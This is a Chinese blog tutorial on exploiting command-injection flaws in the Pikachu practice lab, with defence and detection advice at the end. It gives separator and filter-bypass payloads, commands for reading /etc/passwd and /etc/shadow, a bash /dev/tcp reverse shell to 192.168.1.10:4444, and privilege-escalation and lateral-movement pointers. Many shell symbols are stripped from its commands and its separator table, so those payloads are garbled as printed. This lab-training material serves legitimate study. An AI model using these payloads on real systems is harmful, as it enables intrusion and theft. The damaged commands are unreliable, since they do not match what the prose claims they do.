ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Pikachu靶场命令执行漏洞实战:从原理到反弹Shell

2026/9/28 12:34:24 拓冰建站 浏览量
Pikachu靶场命令执行漏洞实战:从原理到反弹Shell 今天是靶场系列的第八天我挑了命令执行漏洞来练手。这个漏洞在真实环境里出现频率挺高危害也直白——攻击者拿到的不再是数据而是服务器本身的执行权限。如果你也想在pikachu靶场上熟悉命令执行漏洞的手感了解哪些参数能打、哪些绕过姿势有效、哪些坑容易翻车那么这篇内容应该能给你实在的参考。命令执行漏洞的练习重点不在于“能不能打进去”而在于“进去之后你能做什么”。它能做信息收集、读文件、反弹交互式shell、内网探测甚至可以横向移动所以它常被列为高危漏洞。靶场练习的价值就是把攻击路径完整走一遍搞清楚原理和判断依据遇到真实场景时才不会慌。这篇文章我会把整体思路、实操步骤、常见坑都写出来适合刚学完注入和XSS、想往命令执行方向深入的新手也适合准备面试或做应急响应的朋友用来复盘漏洞利用的完整链路。1. 命令执行漏洞概念、成因与危害分析1.1 命令执行到底是怎么回事命令执行漏洞简单讲就是程序把用户输入的内容“拼”进了系统命令里并且在服务器上成功执行了。攻击者输入的不是普通文本而是操作系统的命令中间件或应用层又没有做过滤或过滤不严结果这些命令就以Web服务的权限被系统执行了。这里要区分两个概念一个是命令执行一个是代码执行。命令执行针对的是系统命令比如Linux下的ls、cat、whoami、idWindows下的dir、type、whoami代码执行针对的是脚本代码比如PHP的eval、Java的SpEL表达式、Python的pickle反序列化。两者经常一起出现但利用方式和修复思路不完全一样。这次重点放在命令执行也就是操作系统命令层面。判断一个地方是否存在命令执行漏洞关键是看应用有没有调用系统命令的函数并且这个函数的参数里有没有带上用户可控的内容。典型场景包括ping测试功能、nslookup查询、traceroute工具、文件压缩/解压、日志导出、图片处理等。1.2 典型业务场景里的“埋雷位置”最容易出现命令执行的业务功能基本都是运维类小工具和后台管理功能。最常见的是ping功能很多管理后台会写一个ping.php?ipxxx这样的接口内部执行ping $ip直接把用户传的参数拼进去。第二个典型是网络诊断工具包括traceroute、nslookup、dig这类查询很多网关设备和小型运维平台都有。还有文件处理类的功能比如在线压缩、解压、格式转换内部经常调用系统命令来完成参数没过滤也会出问题。除了这些还有一类容易被忽略的注入点就是HTTP头。有些应用会把User-Agent、X-Forwarded-For、Referer这些头部内容记录到日志文件时执行命令或者把这些头内容作为参数传给外部命令处理同样可能被注入。在pikachu靶场里命令执行漏洞有两个练习点一个是RCE远程命令执行一个就是命令注入。前者更偏向直接构造恶意代码后者更多是拼接系统命令。两者本质上做的是同一件事但出题角度和判断思路略有差异。1.3 危害到底有多大命令执行漏洞的严重性在于攻击者获得的权限是Web服务的权限。很多运维为了省事把Web服务跑在root或Administrator权限下一旦被打穿基本就是整个服务器的控制权。即使跑在低权限账户下攻击者还可以利用系统本身的提权漏洞、SUID程序、计划任务、错误配置等服务做权限提升。实战里命令执行漏洞最常见的后续利用包括读取敏感文件/etc/passwd、/etc/shadow、配置文件里的数据库密码、反弹shell拿到交互式终端、扫描内网存活主机和端口、下载恶意工具落地、修改系统配置持久化。对靶场练习来说先把“命令能不能执行”和“怎么判断执行成功”练透后续的利用才有基础。2. 靶场准备环境搭建与工具集2.1 三步搭好pikachu靶场我用的是pikachu靶场它是用PHP写的基于Web的漏洞练习平台里面集合了SQL注入、XSS、CSRF、命令执行、文件上传等常见Web漏洞。搭建过程在老手眼里不难但新手容易卡在环境配置上。第一步准备Web环境。我用的组合是Windows下的phpstudy装好Apache和PHP 5.x或7.x版本。pikachu对PHP版本要求不严格7.x也能跑。把下载好的pikachu源码解压到web根目录比如C:\phpstudy_pro\WWW\pikachu。第二步配置数据库。pikachu自带初始化脚本在inc目录下的配置文件里把数据库账号密码改成你本地的。默认通常用root账号密码填你自己的。初始化时访问http://127.0.0.1/pikachu/inc/install.php按提示点一下自动建库建表把默认数据和用户数据都写进去。第三步就是启动访问。访问http://127.0.0.1/pikachu如果看到首页有“皮卡丘”的标题和练习菜单就说明环境搭好了。整个过程大概10分钟如果本机没有MySQL或PHP环境也可以用docker方式后面我单独说。2.2 实操里用到的工具箱练习命令执行漏洞一个浏览器和一个抓包工具基本够用。浏览器我用Chrome或Firefox配合F12开发者工具比较方便抓包工具用Burp Suite用来观察请求参数、改包重放。Burp Suite的配置有一点要注意如果它挂在靶场前面就相当于一个“代理”浏览器先把请求发给BurpBurp再转发给本地靶场这样可以拦截、修改、重放数据包。默认端口是8080浏览器设置好代理后访问本地靶场就能截到数据。除了这些我还会准备好一个终端Windows下用cmd或PowerShellLinux下用bash用来接收反弹shell测试。在练习阶段不用太着急上反弹shell先把命令执行、信息收集这些基础功能跑通。2.3 为什么练习命令执行不推荐只用浏览器直接浏览器访问也能做命令注入但有一个问题Payload很长或需要拼接的时候URL编码和浏览器解析容易出错不好调试。用Burp Suite可以把请求包完整暴露出来你可以清楚看到哪些参数被拼接到命令里了哪些字符被过滤了响应内容有什么变化。我练命令执行时特别在意三件事数据包里的原始Payload、服务器返回的原始响应、以及两者的对应关系。直接用浏览器只能看到最后渲染结果很多判断细节被隐藏了。所以想真正吃透命令执行漏洞抓包这个习惯建议从一开始就养成。3. 核心实操pikachu靶场命令执行漏洞通关3.1 RCE环节远程命令执行进入pikachu的命令执行练习区第一个是RCE它模拟的是一个nds查询接口界面类似在线工具会让你输入域名或IP地址进行解析。我先输入一个正常的地址比如127.0.0.1提交后看到正常回显业务本身是通了。这时候要做的是思考这个功能在服务端是怎么实现的按常规逻辑它可能是调用了系统命令nslookup或dig把用户的输入拼在参数里。那我手动输入127.0.0.1 whoami看一下回显结果。在pikachu靶场里输入127.0.0.1 whoami后页面除了显示nslookup对127.0.0.1的解析结果还会在后面输出当前Web服务的系统账户名。这一下就说明命令注入成功因为whoami的结果不是Web页面上该出现的常规内容。这一步的逻辑是在Linux shell里表示“前面的命令成功执行后再执行后面的命令”。所以nslookup 127.0.0.1 whoami等于先执行nslookup然后执行whoami两个结果都会打印。攻击者要做的就是想清楚分隔符能不能被识别、命令能不能被拼接进去。3.2 命令拼接的各种姿势只是其中一种连接符控制和管道符在命令注入里都有用。下面把常用的拼接符整理成一张表方便对照记忆符号作用示例;命令顺序执行不管前一条是否成功127.0.0.1;whoami前一条执行成功才执行后一条127.0.0.1whoami管道符把前一条输出作为后一条输入反引号命令替换先执行内部命令127.0.0.1whoami$()命令替换作用和反引号类似127.0.0.1$(whoami)\n换行符相当于输入回车127.0.0.1%0awhoami实操中比较常用的是和|因为它们直观、好用。|有一点要注意它会把前一条命令的输出传给后一条命令如果前面的命令执行报错或输出为空后一条命令可能收不到东西。比如ping 127.0.0.1 | whoami后一条whoami会等待前一条的输出结果一般也能出来。而||用得少一些因为它要求前面命令失败才执行某些环境里前一条命令并没有失败后一条就不执行了判断起来比较麻烦。反引号和$()是命令替换常用于把命令输出放到参数位置。比如ipconfigwhoami会把whoami的输出作为参数传给ipconfig在错误场景里能把用户名带出来。实际测试里我通常优先试然后是|和;这样按成功率排序去碰。3.3 绕过过滤规则的思路在真实环境中很少遇到完全不设防的命令注入点一般都会做黑名单或白名单过滤。pikachu的命令注入练习里有过滤选项给的输入框会拦截一些关键字比如空格、、|、;等。遇到空格被过滤的情况可以用${IFS}代替这是Linux shell里的内部字段分隔符会被解析成空格。比如原来要拼cat /etc/passwd写成cat${IFS}/etc/passwd在bash下是可以执行的。如果Tab也被过滤了还可以用%09URL编码的Tab字符尝试。遇到关键字被过滤的情况比如过滤了cat可以用tac替代它和cat功能类似只是行序倒过来输出。还有more、less、head、tail、nl、sort这些命令都可以读文件多备几个。遇到whoami被过滤可以用$(whoami)或who$()ami这种拼接方式绕过。这里有个很重要的思路过滤规则只针对固定字符串的时候拆分重组往往有效。比如过滤了whoami这个完整单词但没过滤who和ami那whoami、whoami、who$()ami都可以尝试。在bash下空引号和赋值语句会在命令解析前被处理所以能拼回原来的命令。3.4 判断命令执行成功的标志命令是否执行成功最直观的标志就是看回显。如果页面返回了whoami的结果、id的结果、文件内容等非业务数据基本可以断定注入成功。还有一种情况是有回显但内容被截断这时候可以尝试把输出写到文件再读取比如把id的结果写入/tmp/1.txt然后通过Web访问或再次注入去读这个文件。如果完全没有回显还有两种可能。一种是命令确实执行了但结果没有输出到页面这叫盲注场景需要配合延时sleep或DNS请求来判断另一种是根本没有执行前面被过滤或代码逻辑根本没调用系统命令。判断时可以用ping 127.0.0.1 -n 3或sleep 3来测延时如果请求耗时明显增加说明命令分支被执行了。在靶场里pikachu的RCE和命令注入都是有回显的直接把ipconfig或whoami的结果打出来。练的时候可以自己把输出重定向到文件模拟无回显场景做更贴近实战的盲注练习。4. 命令执行漏洞的常见问题与排查技巧4.1 为什么我输入whoami没反应这是练习命令执行时最常见的问题。原因可能有好几个第一个是参数没传对目标接口接收的参数名不一定是ip可能是host、url、domain你得先看源码或抓包确认参数名。第二个是分隔符不对有些平台会过滤、|、;你换了或换行可能就过了。第三个是应用本身没有调用系统命令它只是查询数据库或做HTTP请求那就不存在命令注入点。排查顺序建议先抓包确认参数名和提交方式再用不同的拼接符逐一测试最后看返回内容有没有变化。如果内容有变化但没显示命令结果可以试试把命令执行结果写到文件里再读取。4.2 返回了命令结果但页面显示乱码这个在Windows靶场下比较容易遇到因为命令输出的编码和Web页面的编码不一致。Windows的ipconfig默认是GBK编码而PHP页面可能是UTF-8结果就变成乱码。遇到乱码不要慌一般有两种处理方式。一种是在命令后面加编码转换比如ipconfig | iconv -f GBK -t UTF-8在Linux环境下有效在Windows靶场里不太行因为系统没有iconv。另一种是执行一个“输出内容比较简单”的命令比如whoami、id、echo test这些命令输出本身就是ASCII不会乱码用来验证命令执行足够了。还有一个经验是在pikachu这种PHP靶场里执行命令的底层函数可能是system()或exec()。如果是system()命令输出会直接打印如果是exec()且没有写输出数组页面可能什么都不会显示。这时候要看一下返回值的处理逻辑如果只返回最后一行或特定部分你要调整payload来匹配。4.3 Burp Suite截不到请求怎么处理打靶场时Burp Suite最常见的问题就是浏览器没走代理。设置代理之后访问本地页面时要在Burp的HTTP History里过滤请求来源避免通过127.0.0.1:8080的自身访问干扰。还有一个细节Burp如果和靶场都放在同一台机器浏览器代理设置的地址要写127.0.0.1端口对应Burp的监听端口不要写错。如果设置完代理还是截不到检查一下Burp的代理监听是不是只绑定了127.0.0.1有些版本默认绑定了所有接口有些只绑定了本机回环。浏览器插件可以用SwitchyOmega之类的工具快速切换代理比改系统设置方便。4.4 命令执行了但我想拿到交互式Shell在靶场里拿到一个交互式Shell是练习的进阶目标主要用来做完命令执行后熟练反弹Shell的操作。常见的方法是用bash创建反向连接靶机连回你的监听端口。一条典型的反弹命令是bash -i /dev/tcp/你的IP/你的端口 01。这条命令的意思是把bash的输入输出重定向到TCP连接上然后从同一个连接读取命令。这样攻击机上用nc -lvp 端口监听就能获得一个半交互的Shell。在靶场里执行这条命令有前提靶机能访问到你的监听端口也就是双方之间没有防火墙限制。本地虚拟机练习时要先把IP地址打通确认能ping通。另一个注意点/dev/tcp是bash的特性如果目标默认shell不是bash比如是sh命令会执行不了需要换成/bin/bash -i显式指定或者用python -c生成反弹连接。4.5 遇到过滤严格的环境怎么继续测pikachu里的过滤还算温和真实场景比如某些WAF和RASP会更严格。RASP是在应用层做防护命令执行的系统调用都走它的监控单纯拼字符可能绕不过去。面对过滤严格的环境我的经验是分三步走。第一步是识别过滤规则通读目标代码或接口文档搞清楚哪些字符被拦截、哪些命令被拦截、哪些函数被hook。第二步是寻找替代命令和替代编码比如空格可以用${IFS}命令可以用tac代替cat分号可以用换行代替。第三步是找新的注入点有时候命令执行不在主功能里而是在一个不起眼的附属功能里比如导出报表功能、日志下载功能。遇到RASP这类防护就不光是绕过输入过滤的问题了还需要关注到底层函数是否被hook、能否通过其他函数间接执行命令。靶场练习阶段不用到这一步但了解这个方向对扩展思路有好处。5. 扩展思考命令执行漏洞的防御与检测5.1 开发侧怎么做才能避免命令执行修复命令执行漏洞最核心的思路就是“尽量不用系统命令非用不可就严格校验”。业务需求里如果只是解析域名、判断网络连通性用PHP的gethostbyname、fsockopen这些内置函数就能实现完全没必要去调ping。Java里有InetAddressPython里有socket和subprocess封装。能用代码逻辑完成的就不要把系统命令当成万能工具。如果确实绕不开系统命令那就要做白名单校验。比如ping功能只接受合法IP地址可以用正则严格匹配^([0-9]{1,3}\.){3}[0-9]{1,3}$并且把输入的IP parse成四段数字再重新拼接而不是直接信任原始字符串。还有一种做法是设置命令执行模块的运行用户权限比如用www-data这种低权限用户运行就算被注入攻击者也只能拿到低权限shell后续利用成本更高。黑名单过滤是最不可靠的方案因为命令注入的绕过方式太多了编码、切割、拼接、换行、Shell特性每多一层绕过黑名单就要跟着补一层。我在代码审计时一看到黑名单过滤基本都会再测一遍大部分情况都能绕过去。5.2 检测侧怎么发现命令执行蓝队视角更多是“怎么知道有人在利用命令执行漏洞”。从日志角度Web日志里会出现ls、cat、whoami、/etc/passwd这些关键字但要注意现在很多攻击者会用编码和拼接绕过日志关键词所以日志检测只能作为辅助手段。从流量角度命令执行的特征隐藏在正常业务的请求里比如一个ping参数带了whoami。IDS/IPS类设备对这一类的检测规则比较成熟关键是把HTTP协议解析和命令注入规则库打开。内网上还有一类检测方式叫“命令执行行为检测”关注的是服务进程是否突然启动了一个异常的子进程或者进程链里出现了bash、sh、cmd.exe这些不该出现的进程这个方向在EDR里做得比较深入。从主机角度命令执行后的恶意行为如反弹Shell会产生外连流量连接目标一般是高危端口或外部IP。防守时可以看网络连接的异常状态比如Web服务进程主动连接了一个非常规端口这个行为本身就很可疑。5.3 我在日常练习里保持的习惯打靶场和做些小实验我的习惯是留好记录。每次练习会记下payload、命令、返回结果、绕过思路四类信息。时间长了回头看这些记录比任何教程都有价值因为每条都是自己踩过坑后沉淀出来的。另一个习惯是不只按题目操作而是去思考业务逻辑。比如看到一个nslookup功能我会去想为什么这里用系统命令做查询能不能用库函数如果我来实现这个功能会怎么写这样练习不是为了通关是因为真的把一类漏洞吃透了。实战里看到类似的接口一眼就能判断有没有问题这才是靶场练习的最终目的。5.4 命令执行漏洞的持久化利用与提权思考5.4.1 拿到命令执行权限后的下一步成功执行命令只是第一步后续的操作决定了攻击效果也决定了防守方检测的难度。靶场里练完基础命令注入后要学会的事情基本是按“信息收集 - 权限维持 - 权限提升 - 横向移动”这条路径走的。信息收集阶段做的事基本是whoami看权限、id看用户组、uname -a看系统内核版本、cat /etc/passwd看系统账户、ifconfig或ip a看网络信息。同一个Web服务上可能有多个业务数据库配置、Web配置、SSH密钥这些文件都值得过一眼。在pikachu靶场里信息收集能看的东西有限但可以把命令串起来掌握用法。比如id uname -a ipconfig在Windows下一条输出把几个命令用拼起来锻炼复杂命令的组织能力。5.4.2 命令执行到反弹Shell的完整示例在真实环境的利用里命令执行通常不只会用来做信息收集因为那个阶段拿到的还不是交互式shell每次输入都要过一遍应用层效率很低。更常见的是先弹一个shell回来再在shell里做后续操作。我提供一个贴近实战的靶场练习示例。在Linux靶机上攻击机IP是192.168.1.10监听端口是4444反弹命令写成bash -i /dev/tcp/192.168.1.10/4444 01这条Payload在URL提交时需要对特殊字符做URL编码。如果应用层有过滤可以在命令里做变形。实测中我用pikachu做测试只要攻击机能连通靶机这条命令就能让攻击机获得一个bash会话。要注意靶机和攻击机之间的连通性是前提本地环境要用同一网段或做好端口转发。Windows环境下反弹shell不如Linux方便通常会借助PowerShell的Net.Sockets.TCPClient和ProcessStartInfo来创建连接。这个内容偏进阶靶场练习初期不用急着弄先把基础命令注入和回显判断学会反弹Shell可以放到后面专项练。5.4.3 权限提升的常见路径拿到低权限WebShell后提权才能扩大战果。Linux下常见的是内核漏洞提权比如Dirty Cow、脏管道这类经典CVE也有利用SUID提权的比如find等命令带SUID位时可以通过执行特定命令拿到root权限还有利用计划任务和错误配置提权的比如写权限落在普通用户手里的可执行脚本被计划任务定时执行。Windows下常见提权方式包括把服务路径里的可写目录替换成恶意程序、利用存储的明文密码、Potato系列漏洞针对服务账户以及未修补的系统漏洞。这些内容都值得单独练习但都是命令执行漏洞之后的后利用阶段了。靶场练习顺序建议是先熟练掌握命令执行和反弹Shell再在此基础上学提权这样每一步都有依赖的基础。5.5 从命令执行到横向移动的目标拿到一台机器的控制权后攻击者不会立刻停手通常会在内网里继续横向移动。命令执行漏洞那一台机器只是一个入口利用它的网络位置去探测其他主机和服务的弱点。横向移动里比较常见的是复用凭据比如拿到Web配置文件里的数据库密码而数据库密码恰好和某台机器的SSH密码一样。这就意味着密码复用是内网的大忌但也是攻防演练中最常见的问题。还有利用SMB、RDP、SSH这些协议直接登录其他机器利用域环境的信任关系拿域控。对正在练命令执行漏洞的朋友来说先把这一台机器打透再考虑横向不算迟。5.6 命令执行漏洞的修复方案设计作为一个渗透测试人员发现漏洞不是终点很多时候还要给开发提供可执行的修复建议这本身就是一件加分的事。命令执行漏洞的修复建议基本围绕以下几个方面。首先是代码层的修复思路命令执行函数的参数不能直接拼接用户输入。如果是ping功能就把IP做严格校验只允许数字和点号然后用escapeshellarg或escapeshellcmd做转义。在Java里可以用ProcessBuilder的数组传参替代拼接字符串的方式这样能避免shell的作用域问题。更稳妥的方案是用库函数替代系统命令PHP里用gethostbyname代替nslookup用fsockopen代替ping用ZipArchive代替unzip基本上每种系统命令都有对应的库函数实现。在运维层面命令执行功能尽量限制执行账户的权限容器里用非root用户运行宿主机上避免用管理员组身份运行Web服务。对于必须执行的命令限制可执行程序的白名单降低被注入后的破坏范围。代码仓库里如果有命令执行相关的代码建议在加固时同步加上WAF规则或RASP监控内外网双重防护。在架构层面考虑把这类功能独立成一个服务用最小权限运行并通过消息队列和HTTP API向外提供能力这样即使单点被攻破也拿不到其他业务的数据和权限。6. 写在最后的心得命令执行漏洞是Web安全里学起来“性价比”很高的一类漏洞因为它原理简单、危害直接、利用方式多样。它不像SQL注入那样要背一堆语法也不像XSS那样需要了解DOM和编码机制但它在实战里的出场率一点不低。我自己在靶场练习命令执行时最大的体会是不要只盯着“能弹出来就行”这个终点。把分隔符的语义、过滤绕过的原理、回显和盲注的判断过程都过一遍比单纯记住几个payload有用得多。真正碰到真实漏洞时环境千差万别过滤规则千奇百怪通用思路才是可以复用的资产。pikachu靶场虽然界面朴素但它把命令执行的几种典型场景都覆盖到了是一个很适合沉下心练基本功的靶场。如果你已经练完了SQL注入和XSS正好可以接着把命令执行这块补上整体脉络会更清晰。练完命令执行之后我建议顺带把文件上传和文件包含也过一遍这几个漏洞在真实场景里经常联动出现组合起来才是完整的攻击链。这块内容我后面也会整理出来方便你跟着一起实操。